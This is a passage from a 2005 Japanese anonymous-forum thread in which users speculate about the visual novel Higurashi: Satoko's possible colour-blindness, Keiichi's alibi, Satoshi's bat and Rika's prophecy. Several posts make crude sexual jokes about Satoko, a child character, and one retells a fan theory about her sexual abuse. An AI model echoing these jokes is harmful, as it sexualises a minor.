17:59:24 ID:+HCCH1cS0 >>388 すっげーわかりやすい。おまい天才？ 395 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:59:39 ID:p7mOCGoJ0 >>393 緑色のがカリフラワー……ちゃうねん 396 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:59:54 ID:TMWLI6Zw0 >>389 完璧だと思ってるのは圭一だけで傍から見てると穴だらけだよな、KOOLの行動 祭でみんな神社向かう中、新参者が必死の形相で逆走しながら何組かの家族とすれ違ってる そりゃ目立つわ おまけに終いには沼に向かってバイクで爆走 雨の中 これまた目撃者出てる あー、まあ、がんばれや？ って感じじゃないか、村人は 雛見沢の特性上、圭一が庇われるのは自然な流れだと思うんだが 397 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:00:18 ID:lQe+IvM+0 >>390 ちなみに、それについては「１万５千台」を数えていた、って説もあるが…。 「（いちまん）5040……いちまん（5041）……」 って感じで。 どっちにしろ時間は短いよな。 398 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:02:14 ID:ADNZGrdU0 >>392 でも必要なければその設定はいらないってことになるよな？ それなのにわざわざ区別がつかないとしている、しかも兄の悟まで。 つーことでやっぱりなんかしらの意図はあるような気がするんだよねー まぁ何を考えればいいのかわからなくなって手当たり次第に疑ってる俺ガイル 399 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:02:17 ID:vNhznUwp0 >>386 前スレで色盲じゃないか？って話があったけど、 「白と緑は見分けられるだろ」で落ち着いた 400 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:02:53 ID:lQe+IvM+0 てか、そんなあっつい風呂に３時間入っていられないよな。って話もあるよ。 401 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:03:39 ID:ADNZGrdU0 悟史悟史悟史悟史 よしコレで誤変換はないｗｗｗｗｗ 402 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:05:09 ID:+HCCH1cS0 「バスタオル…痛い…」の台詞から火傷の症状がうかがえるけど、 バスタオルが擦れる程度で痛みを感じるのに、短時間で自然回復する点も違和感を感じるな。 403 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:05:15 ID:U+9h0wh60 嘘だッ!! 404 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:07:07 ID:ADNZGrdU0 >>399 でもさートランプガンパイをこなす記憶力と注意力がある沙都子が 果たして緑→ぶろりー 白（黄色）→かりふー という単純な構図を記憶できないって ありえるだろうか？ まぁどうでもいいのかもしんないけど気になって夜もぐっすり。 405 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:08:21 ID:U+9h0wh60 エレベーターとエスカレーターの違いがわからないことあるだろ 406 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:08:25 ID:qCFFW3qj0 >396 うん。沙都子の叔父がどんな人間かは村の人もわかってたろうし 圭一の行動もわかってたと思う。 ただ、なんとなーくひっかかるんだよな。 いくら叔父に問題があるとはいえ、村に来て１ヶ月そこらの 人間が殺人を犯す様をみすみす見逃すだろうか？ 圭一を警察に突き出した方が村人は身が安全だと思うんじゃないだろうか。 なにか圭一が殺人を犯している裏であったんだと思う。 圭一が祭に「参加していたことにしなくてはいけない」何かが 407 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:09:04 ID:x/u34u5y0 お前らただいまですよ！ ちょっと色の話になってるから、思い出したこと書いておく 作中で圭一がお弁当作って学校に持っていくってシーンがあったよな？ （実際にはサトコが作った） その時の魅音のセリフ、覚えてるか？ 魅音は弁当に色が足りないとか行ってなかったか？ （確か茶色とかそんな感じの色ばかりだとか） コレってサトコ色盲説を、後押しできないかな？ 408 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:09:08 ID:TMWLI6Zw0 祟殺しEDの大災害被害者見てるとおかしいんだよな 沙都子の行方不明も分からないんだけどさ 梨花の死体は昼頃に村の老人達によって発見されたことになってる 沙都子があの橋から戻ったとして、だ 普通真っ先に梨花の死を誰かに言うよな それが何故昼まで発見されないんだ？ 可能性としては １．橋から村まで戻れていない ２．助けを呼びに行った先で殺された ３．黒幕 でも3は可能性薄い気がするんだ 409 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:09:24 ID:+HCCH1cS0 >>404 その二つに関して認識障害を起こす何らかの事柄が過去にあったと考えるべきかな。 例えば…ブロッコリーと…カリフラワーを…口いっぱいに…詰め込まれるｗｗｗｗｗｗｗｗおｋ 410 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:09:58 ID:WKCdO9k10 >>409 ヒント：下の口 411 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:11:23 ID:1VJsOCOs0 >>410 じゃあ悟史もか… 412 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:12:03 ID:x/u34u5y0 >>409-411 ｸｿﾜﾛｽｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ 413 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:12:41 ID:+HCCH1cS0 >>411 （´･ω･)ｶﾜｲｿｽ 414 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:12:43 ID:ADNZGrdU0 やべえ・・・尿意をもよおしてトイレにいったら・・・・ バチッって音がして電気が切れた・・・・ >>409-411が確信をついたからオヤシロ様がｗｗｗｗｗｗｗｗｗｗｗｗｗ 415 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:13:07 ID:U+9h0wh60 ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい 416 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:13:50 ID:lQe+IvM+0 >>407 ふむ、それは一理あるな。 色盲……だと何か溶ける謎ある？ 417 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:16:43 ID:x/u34u5y0 >>416 あぁ、それがな、…無いんだよ。 418 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:18:30 ID:TMWLI6Zw0 流石VIPだな 419 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:20:01 ID:+HCCH1cS0 へへ よせよ 420 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:20:07 ID:RexBL25n0 ヒント：色盲は男だけ 421 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:20:29 ID:lQe+IvM+0 まぁ、わかんねーことはわかんねぇ。 置いといて別のことを考えよう。 422 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:23:24 ID:rY0VBm0p0 色盲には男が多いけど、女もいる。 423 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:24:23 ID:lQe+IvM+0 祟り殺しに関しては、公式の魅ぃ掲示板にあった 「入江は本気だった」説がけっこう面白かったと思ったなぁ。 424 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:24:45 ID:qCFFW3qj0 >416 ブロッコリーとカリフラワーの違いがわからない理由がわかるのさ ・・・すまん俺も思いつかんかった 425 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:25:48 ID:+HCCH1cS0 ヒント：色盲の人が書く人間はみなナメック星人らしい 426 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:28:25 ID:qCFFW3qj0 >423 沙都子の叔父が死んだ後 入江が密かに沙都子の家に行っていたってこと？ 虐待目的？ 427 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:29:09 ID:TMWLI6Zw0 色盲について ttp://www.skk-health.net/me/13/ 女性もいないわけじゃない 圧倒的に男性が多いだけで もし色盲だとして、だ 確か昔の沙都子の祭具殿侵入の経緯語るところあったよな あそこで何か見聞きしてなかったっけか？ 完全に覚えてないんで、もし何かあったら、程度なんだが 色盲と鳥目（夜盲症）は関係ないよな 元々暗いところだと錐体細胞働かないからみんな色盲なんだけどさ 428 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:29:41 ID:ADNZGrdU0 あーすまんね意味のない議論をさせてｗｗｗｗｗ でも仮にそういう異常があるのならなんでそういう設定にしたのか？ 重要でないものならなぜそれを明らかにしていないのか？ とまぁ色々と気になる点も多かったもんで・・・ 入江はくそ怪しい、そもそもあそこの病院で死んでる奴が多い気がす 429 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:30:39 ID:vNhznUwp0 >>423 「ペドで変態な冗談は言うけど本当はいい大人」じゃなくて、本当の変質者だったってことかｗｗｗｗｗｗ 430 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:31:11 ID:+HCCH1cS0 >>426 真に異常な人間ほど普段の振る舞いは真っ当だと何かの本で読んだ気がする。 入江もその部類の人間なのでは？ 431 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:31:55 ID:lQe+IvM+0 >>426 入江は本気でサトコを手に入れたがっていた、という説だった。 で、叔父が死んだあとにサトコの家に向かった。 だが、サトコは既に叔父に犯されていて処女ではなかった。 入江はなんでぇ、コイツ処女じゃねぇのかよ臭ぇ女だな！ と思う。 もう、絶望。人生やってられなくなる。 散々サトコを臭い呼ばわりして風呂に放り込んだあと、 診療所に戻って絶望して自殺。みたいな内容だった。 432 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:32:08 ID:x/u34u5y0 理由としてはマジで答えると、普通の学校に行きにくいって所かな？ 色盲って遺伝の可能性が大きいから両親のどちらかが または両方色盲だった可能性もある。 これは、2年目の鬼隠しの足掛かりにならないかな？ 433 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:32:58 ID:FN3VNciw0 おやしろモード♪ おやしろモードで～す♪ 434 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:34:19 ID:TMWLI6Zw0 >>431 それは実に救いがない話だ 435 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:34:22 ID:lQe+IvM+0 >>431の続き。 で、今までの殺害に関しても、大半が「サトコを孤独にする」という目的だった。 サトコを孤独にすることで、自分しか頼れるものがいない状況を作り出す。 リカの予言に関しても、入江がリカに催眠術かけて吹き込んだ… て感じの説だったな。 436 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:34:39 ID:9ZF8E8jZ0 http://www.imgup.org/file/iup37968.jpg http://www.vipper.org/vip26351.jpg 色盲だとどう見えるかっていうサイトがあったのでそこで変換してきた画像 3種類あったけどどれも緑と白を同じように見える可能性はなさそう http://teleradiology.jp/MRI/04_tips/Vischeck/ 437 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:35:59 ID:FN3VNciw0 ヒント：色盲について調べても意味ない 438 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:36:02 ID:+HCCH1cS0 >>436 上は両方ともブロッコリーだよな？…あれ？ 439 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:38:36 ID:TMWLI6Zw0 438はにーにー 440 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:38:59 ID:M+bUgR+E0 上 カリフ 下 ぶろこりー 441 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:42:30 ID:ADNZGrdU0 >>438 おまｗｗｗｗｗｗちょｗｗｗｗｗｗｗ いわゆる色弱というよりも色に対するなんらかの欠陥って感じかなぁ 442 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:43:29 ID:9ZF8E8jZ0 サングラスかけてたとか 443 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:45:22 ID:vNhznUwp0 >>435 そこまで鬼畜なストーリーだったら逆に爽快だな むしろ読みたいｗｗｗｗｗｗ 444 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:45:26 ID:TMWLI6Zw0 目明しの悟史は詩音のきゅんきゅん☆フィルター通して見てるからなあ 実際には事件前からバット持ち歩くようになったりしてるし KOOLモードも発動したんじゃないかね 445 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:46:16 ID:x/u34u5y0 そういえば物の形を覚えることができない病気って無かったけか？ 446 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:46:33 ID:ZVk8A0dx0 http://www.geocities.jp/boon_matome/boon/ob-802.jpg 447 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:46:57 ID:1VJsOCOs0 作品間でも矛盾は、 たんに作者のミスなのか、 意図的なのかがわからんからなｗ 448 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:47:01 ID:dJQE4Hx70 >>435 それなんてエロゲー？ 449 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:49:48 ID:1VJsOCOs0 下の口にブロッコリー 450 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:51:19 ID:x/u34u5y0 >>447 そこがつらいところだよな 単なるミスを深読みってのがあるかもしれないし。 451 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:52:44 ID:K1VSNUSH0 急に目が変わるの勘弁して・・・ すまん、ここにカキコしないと怖くて死ぬ 452 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:53:16 ID:lQe+IvM+0 ちょっと推理しなおそうと思って祟り殺し途中からやってみたら… 何か泣けてきた…うぁうぇうえ 453 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:55:00 ID:lQe+IvM+0 >>451 詩音から電話かかってきたら気をつけろよ。 454 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:55:17 ID:TMWLI6Zw0 祟殺しのKOOLに至るまではかなり好き 455 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:55:41 ID:vNhznUwp0 あの「目」も結局何なんだ？ 真魅音（イレズミない方）の特殊能力？ってわけでもなさそうだし 456 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:56:43 ID:K1VSNUSH0 >>454 今図書館だよ・・・ううぇ・・・・・・・・・ 457 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:57:48 ID:TMWLI6Zw0 >>455 圭ちゃん、詩音の被害妄想 458 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:57:55 ID:+HCCH1cS0 >>455 ただのプレイヤーに対する演出だと思う。 一番印象深いもん、あのシーン。 459 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 18:59:21 ID:E1rKqIv+0 今変なCMがやっていた 子供達が喉を掻いてて、変な歌が流れる ｢掻いちゃ駄目って～分かっていても～ボリボ～リ掻いちゃうの～｣ ・・・・・・これはひぐらしのCmですか 460 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:00:31 ID:TMWLI6Zw0 富竹さんがムヒもってたら5年目の祟りは起きなかったってことか！？ 461 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:01:19 ID:qCFFW3qj0 かーいちゃだめ かいちゃだめー だってー！ 462 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:03:51 ID:vNhznUwp0 推理ゲームの攻略法を教えてくださいｏｒｚ あんなもん絶対勝てねーよ！！！！！ 463 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:08:45 ID:K1VSNUSH0 俺を一人にしないでｗｗｗｗｗｗｗｗｗｗｗｗ 464 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:09:26 ID:+HCCH1cS0 >>463 じゃあ今どこ？ 465 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:09:55 ID:x/u34u5y0 とかやってたらもう19時じゃねぇかよ！！ｗｗｗｗｗｗｗｗｗｗｗｗ 466 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:11:09 ID:K1VSNUSH0 >>464 二人が死んで詩音から電話 その翌日、村長行方不明のところ 467 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:13:57 ID:qCFFW3qj0 >466 みｗなｗぎｗっｗてｗきｗたｗろｗｗｗｗｗｗｗｗ 468 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:14:28 ID:+HCCH1cS0 >>466 詩音からの電話のリアクション（´･ω･)ﾅｽ 469 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:19:00 ID:lQe+IvM+0 うー、疲れてきたー。 ずっとパソの前にいると疲労が溜まる。 470 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:25:22 ID:FXh+yfgA0 >468 目はまだだろ 471 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:26:31 ID:K1VSNUSH0 魅音コワスｗｗｗｗｗｗｗｗｗｗｗｗヤバスｗｗｗｗｗｗｗｗｗｗｗｗ 472 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:29:09 ID:lQe+IvM+0 ってことでIDが圭一な彼（？）のために、話題をオニカクシ辺りに戻そうか。 一番最初……のちょっと後。電車の中での夢（？）のシーン。 …誰かが、ずっと謝っている気がした。 彼女は何を謝っているのだろう。 それに聞き耳を立てるのは悪い気がしたので、意識的に聞かないようにした。 473 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:32:54 ID:lQe+IvM+0 >>472中略して、 …誰かが、まだ謝り続けている。 彼女は誰に謝っているのだろう。 これだけ謝っているのだから、もう許してやればいいのに。 彼女だって、こんなに謝り続けることはないはずだ。 いつまでも彼女を許そうとしない誰かに、俺は少し苛立ちを覚えた。 どんな過ちだって、許されないことはないはずだ。 取り返せないミスなんかない。 次から気をつければいい。 …それでも彼女は謝り続けている。 では…取り返しのつかない過ちを犯してしまったのだろうか？ 一体彼女が何を犯したのか知らないが、取り返しのつかないものなら、なおのこと許してやるべきだ 彼女がいくら謝ったって、どうにもならないのだから。 それでも彼女は、こんなにもみじめな声で謝り続けている…。 なあ、彼女に謝られている誰かさんよ。 もういい加減彼女を許してやれよ。 こんなにも…みじめな声で謝っているんだから……。 「圭一、そろそろ着くぞ。起きなさい」 474 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:33:43 ID:lQe+IvM+0 てことで、>>472-473についてどう思うか、みんなの意見を聞きたいのです。 475 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:36:43 ID:E1rKqIv+0 まぁやっぱレナに対してだろうよ 476 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:37:39 ID:FN3VNciw0 なんとなくだが、何に謝ってるか、何故謝ってるかじゃなくて、いくら謝っても許してもらえないってとこが肝な気がする。 477 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:48:04 ID:lQe+IvM+0 ふむー。これからの圭一を暗示している感じなんですかね。 「いつまでも彼女を許そうとしない誰か」 ってのもこれから先の圭一を指し示すわけであるし。 だけど、これは事件が起こる前で、圭一の夢の中の話。 単なる演出？ 478 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:52:49 ID:dJQE4Hx70 >>447にｲﾋﾟｮｰｳヽ(･∀･)ノ□ 479 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:56:15 ID:+HCCH1cS0 ところでヘッドホンでやってると 消音ギリギリの音量でもやたらとうるさいんだけど これどうにかならないかね？ 480 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:57:27 ID:lQe+IvM+0 大分ダルダルムードだなー。 投下したネタもよくなかたかな。個人的には気になるトコだったんだが。 一人称ボクにして敬語にして拷問狂殺しに行って来る。 481 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 19:58:42 ID:lQe+IvM+0 >>479 ヘッドフォン自体の音量いじれるとこあったらそれを下げるとか、 スピーカー、ミュート、いじれる音関係を全部いじると良いと思うのですよ。 482 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:02:45 ID:+HCCH1cS0 >>481 ㌧クス 483 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:03:24 ID:TMWLI6Zw0 >>480 先手必勝 手を緩めるな 追い詰めて追い詰めて追い詰めろ 反撃を許すな 気を緩めるな 油断をするな 絶対確実反撃不可能の王手をぶち込むまで攻め続けろ 484 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:04:43 ID:FN3VNciw0 >>483 まて、それは孔明の罠だ！ 485 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:05:15 ID:ADNZGrdU0 ジャーンジャーン 486 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:07:32 ID:lQe+IvM+0 >>483 拷問狂に挑むのは無理だったので冷やし中華を食べました。 でもボクは間違って冷やし中華なのにふーふーしてしまったのですよ。 Ｋ1は今頃何をやってるですかね？ 487 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:08:20 ID:FN3VNciw0 >>486 ちょｗｗｗｗｗｗｗおまｗｗｗｗｗｗｗｗｗｗ萌えたｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ 488 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:09:26 ID:TMWLI6Zw0 486に1%の向こう側を見た 君がMVPだ 489 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:09:59 ID:NX6wULfh0 ふふふうふふううふふふふふふふふふｗｗｗｗｗｗｗｗｗきゅんきゅん☆ 490 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:10:20 ID:CZC5GI1Y0 【絶対読め!!】～VIPが腐ってきている原因～【心に刻め!!】 ・ 『厨房』の増加 ・ 空気読めない、面白くない『糞ｺﾃ』の増加 ・ かまってもらえない『女VIPPER』の『おっぱいうｐ』ｽﾚ ・ つまらない、暇だから『全ﾚｽ』ｽﾚ ・ 全く面白くない『実況』ｽﾚ ・ 馬鹿が馬鹿を呼ぶ『ｵﾌ会』 ・ 友達を作りたいから、『ﾒｱﾄﾞ・電話番号晒し』ｽﾚ ・ 本当にVIPPERか ? と思わせる『相談』ｽﾚ …分かったか!?これ以上VIPを腐敗させたくなかったら、 お前らだけでもこんな風にならないでいてくれ!!頼む!! 491 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:10:50 ID:3O/t/fsO0 よし、帰宅した俺がネタを投下しよう 悟史が本当に叔母を殺したかどうかについて K1がバット持ち始めたときにレナが何でバットまで一緒なの？と聞くけども、 この発言から悟史がバットを携帯してたときにバットと同じバットってことだよな。 悟史が叔母を殺していたのであればバットが同じであるはずがないんだ 普通は祟殺しのK1のようにどっかに捨てるはず、 もしもって帰ったとしても血の反応が検出されるはずだし大石がやってないはずはない 悟史が本当に同じバットで叔母を殺しに行ったかどうかについては 殺す場所の目印から数歩離れて獲物を隠す時に「よく手になじんだそれを」みたいな記述があったはず つまり悟史はバットを使ってない＝悟史は叔母を殺してない ただ悟史が何らかの事情でバットを使わずに殺したとかだったらこの理論は破綻するけども まぁどっかで見たような議論の気も駿河 492 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:12:11 ID:lQe+IvM+0 >>490 わかったのですよー。 じゃあボクも口調元に戻したほうがいいよーな気がするのです。 493 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:13:31 ID:K1VSNUSH0 ああ、俺も実況じみたことしてたからな ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさいごめんなさいごめんなさいごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさいごめんなさいごめんなさいごめんなさいごめんなさいごめんなさいごめんなさい 494 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:13:42 ID:/Yb4aP670 >>491 目からウロコががが 495 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:14:16 ID:NX6wULfh0 悟史は無実だと思う つか信じたい 梨花の予言の話なんだがみんな信じてる？予言できるとか やっぱり予言を予言にするには言った自身が実行するか聞いたやつが実行するしかないと思うんだが まあ誰かが言ってたのを梨花が聞いたってのもあるが 496 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:16:38 ID:FN3VNciw0 >>491 あくまでオレの妄想だけどいいか？ まず、悟史は殺してないと思う。 梨花の悲しい事故って話から（これ予言？だからなんとも言えんけど） 殺したのは例の逮捕されたジャンキーではないのかと思うのだが。 本当は殺さずにすんだのに、ジャンキーというイレギュラーに叔母は殺されてしまったのが悲しい事故ではと妄想してる。 で、バットなんだけど・・・ わかりまセブン。 497 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:17:29 ID:lQe+IvM+0 >>491 うゆー、ボクも悟史が２本もバットを持っていたとは思ってないのです。 それに殺害予定現場と実際の殺害現場が違うのもちょっと気にかかるのです。 （叔母が逃げたせいなのかもしれないですが…） 凶器も死体も隠さず、大石に問い詰められると顔色を悪くする……。 どういう状態だったのかよくわからないのですよ…。 498 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:20:43 ID:lQe+IvM+0 梨花の予言は ５４年の６月にダム現場の監督が殺される。 ５５年の６月 サトコの両親が突き落とされて死にます。 或いは事故というべきかもしれない。 ５６年の６月 私の両親が殺される。 ５７年の６月 サトコの意地悪叔母が頭を割られて死にます。 ５８年の６月の今日或いはその数日後私が殺されます。 というものなのですよ。 499 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:21:41 ID:FN3VNciw0 あ、ごめん、悲しい事故は両親の方か・・・ ごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさい ごめんなさいごめんなさいごめんなさい 500 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:22:47 ID:TMWLI6Zw0 >>491 ああああああああ そうか、そうだよな 凶器っぽいなら警察だってルミノール反応調べるじゃん なんでこんな単純なことを 501 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:27:20 ID:3O/t/fsO0 >>495 とりあえず予言はおいとかないか？あれが介入するとマジ混乱するし(´・ω・`) >>496 とりあえず(略 ジャンキーが犯人にしか知り得ない情報を知ってたことから普通に考えるとジャンキーがやったと俺も思う ただ目的がわからんのだよなぁ…本気で錯乱してただけなのか金つまされたのか しかもそのジャンキー自殺までしてる品(；´д`) 俺としてはさとこと悟史のために誰かが差し向けたと妄想してる。例えば入江とか >>497 殺害現場の件は叔母が逃げたって言うより 悟史が叔母を呼ぶ前に殺されたor呼んだけどその場所に来る前に殺されたを俺的には妄想したい 大石に問い詰められると顔色を悪くするってのはやっぱりあくまで詩音の視点なわけだから 竜ちゃんが詩音は詩音の視点からしか悟史を知らない、妹や友人と接している悟史を知らないみたいなことを言って宝 俺らも詩音視点に惑わされて この反応は悟史やっちゃったな・・・ って思わせるブラフだと思う 顔色が悪いのは自分が殺そうと考えたから叔母が死んだとか殺害現場を見たとかそういうのじゃないかな てか自分が本気で殺そうとしてた人間が手を下してないのに死んでたらさすがに動揺すると思うけど 502 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:27:46 ID:lQe+IvM+0 どうして悟史のバットは残っていたのか……。 あまり思いつかないのですが、殺さなかった以外の理由では、 例えば… ・生き残って、また野球を続ける意思があった ・ほとぼりが冷めるまで、見つからずに隠しておける自信があった ・バットじゃないもので殴った ・沼に投げたけど浮いてきたので、仕方なく持って帰ってきた ・他にも殺すつもりの人間がいた ・捕まるつもりだった このくらいしか思いつかないのです。 503 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:30:06 ID:ADNZGrdU0 犯人しか知りえない情報ってのはなんだか記述あったっけ？ 504 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:30:43 ID:u1CVnUBL0 遅レスー 目に関しては当初そういった演出の予定も無くて テストプレイ時に竜騎士07ですら驚いたという逸話があるから 大して重要な部品でもないしましてやキチンとした設定も無いと思うー 505 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:33:30 ID:lQe+IvM+0 >>501 なるほど、祟り殺し編で鷹野や入江の死に動揺した圭一の気持ちと同じだったかもですね。 「どうして叔母は死んだんだ？ 僕が呪ったから？」 